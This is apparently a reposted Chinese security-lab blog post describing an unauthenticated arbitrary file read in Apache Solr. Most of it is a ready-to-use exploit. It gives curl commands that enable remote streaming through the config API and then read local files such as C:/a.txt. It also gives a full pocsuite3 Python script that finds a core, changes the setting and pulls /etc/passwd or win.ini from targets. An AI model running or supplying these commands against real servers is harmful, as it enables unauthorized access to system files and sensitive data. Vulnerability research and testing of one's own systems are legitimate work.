暂无图片
暂无图片
暂无图片
暂无图片
暂无图片

Apache Solr 全版本任意文件读取(Not CVE 自定义编号time_0318)

燕云实验室 2021-06-28
825



“燕云实验室”是河北千诚电子科技有限公司成立的网络安全攻防技术研究实验室。专注于web安全,网络攻防,安全运维,应急溯源方面的研究,开发成果应用于产品核心技术转化,国家重点科技项目攻关。



环境部署




    默认安装未授权情况下,各项配置皆为默认


    下载Solr最新版本


    http://archive.apache.org/dist/lucene/solr/8.80/solr-8.8.0.tgz

    poc




      curl -d '{  "set-property" : {"requestDispatcher.requestParsers.enableRemoteStreaming":true}}' http://192.168.33.130:8983/solr/db/config -H 'Content-type:application/json'


      curl "http://192.168.33.130:8983/solr/db/debug/dump?param=ContentStreams" -F "stream.url=file:///C:/a.txt"


      执行结果





      exp利用python源码




      pocsuite3脚本:


        #!/usr/bin/env python
        # coding: utf-8
        from urllib.parse import urlparse
        from pocsuite3.api import requests
        from pocsuite3.api import register_poc
        from pocsuite3.api import Output, POCBase
        from pocsuite3.api import POC_CATEGORY, VUL_TYPE
        import json
        import re
        import hashlib
        import random
        import string


        class TestPOC(POCBase):
        vulID = '666'
        version = '1'
        author = 'zhzyker'
        vulDate = '2021-01-06'
        createDate = '2021-01-06'
        updateDate = '2021-01-11'
        references = ['https://github.com/zhzyker/vulmap']
        name = 'Apache Solr 任意文件读取(Not CVE)'
        appName = 'Solr'
        appVersion = 'all'
        vulType = VUL_TYPE.CODE_EXECUTION
        category = POC_CATEGORY.EXPLOITS.REMOTE
        desc = '''
        Apache Solr 任意文件读取
        '''


              def _verify(self):
        result = {}
        pr = urlparse(self.url)
        if pr.port:
        ports = [pr.port]
        else:
        ports = [8983]
        for port in ports:
        target = '{}://{}:{}'.format(pr.scheme, pr.hostname, port)
        if target:
        core_name = None
        self.url = target
        url_core = self.url + "/solr/admin/cores?indexInfo=false&wt=json"
        self.ua = "Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.88 Safari/537.36"
        self.timeout = 10
        try:
        request = requests.post(url=url_core, timeout=self.timeout, verify=False)
        try:
        core_name = list(json.loads(request.text)["status"])[0]
        except:
        pass
        set_property = self.url + "/solr/" + str(core_name) + "/config"
        headers_json = {'Content-Type': 'application/json', 'Connection': 'colse', 'User-Agent': self.ua}
        data = r'''{"set-property":{"requestDispatcher.requestParsers.enableRemoteStreaming":true}}'''
        r = requests.post(set_property, data=data, headers=headers_json, timeout=self.timeout, verify=False)
        if r.status_code == 200 and r"responseHeader" in r.text:
        rce_url = self.url + "/solr/" + str(core_name) + "/debug/dump?param=ContentStreams"
        headers = {
        'User-Agent': self.ua,
        'Connection': 'colse',
        'Content-Type': 'multipart/form-data; boundary=------------------------e602c3e1a193d599'
        }
        data = '--------------------------e602c3e1a193d599\r\n'
        data += 'Content-Disposition: form-data; name="stream.url"\r\n'
        data += '\r\n'
        data += 'file:///etc/passwd\r\n'
        data += '--------------------------e602c3e1a193d599--\r\n'
        req = requests.post(rce_url, data=data, headers=headers, timeout=self.timeout, verify=False)
        if r"root:x:0:0:root" in req.text and r"/root:/bin/bash" in req.text and r"/usr/sbin/nologin" in req.text:
        if r"daemon:" in req.text and req.status_code == 200:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['url'] = target
        break
        else:
        data = '--------------------------e602c3e1a193d599\r\n'
        data += 'Content-Disposition: form-data; name="stream.url"\r\n'
        data += '\r\n'
        data += 'file:///C:windows/win.ini\r\n'
        data += '--------------------------e602c3e1a193d599--\r\n'
        req = requests.post(rce_url, data=data, headers=headers, timeout=self.timeout, verify=False)
        if r"app support" in req.text and r"fonts" in req.text and r"mci extensions" in req.text:
        if r"files" in req.text and req.status_code == 200:
        result['VerifyInfo'] = {}
        result['VerifyInfo']['url'] = target
        break
        except Exception as e:
        pass
        return self.parse_output(result)


        def _attack(self):
        return self._verify()


        def parse_output(self, result):
        output = Output(self)
        if result:
        output.success(result)
        else:
        output.fail('not vulnerability')
        return output

        register_poc(TestPOC)


        文章转载自燕云实验室,如果涉嫌侵权,请发送邮件至:contact@modb.pro进行举报,并提供相关证据,一经查实,墨天轮将立刻删除相关内容。

        评论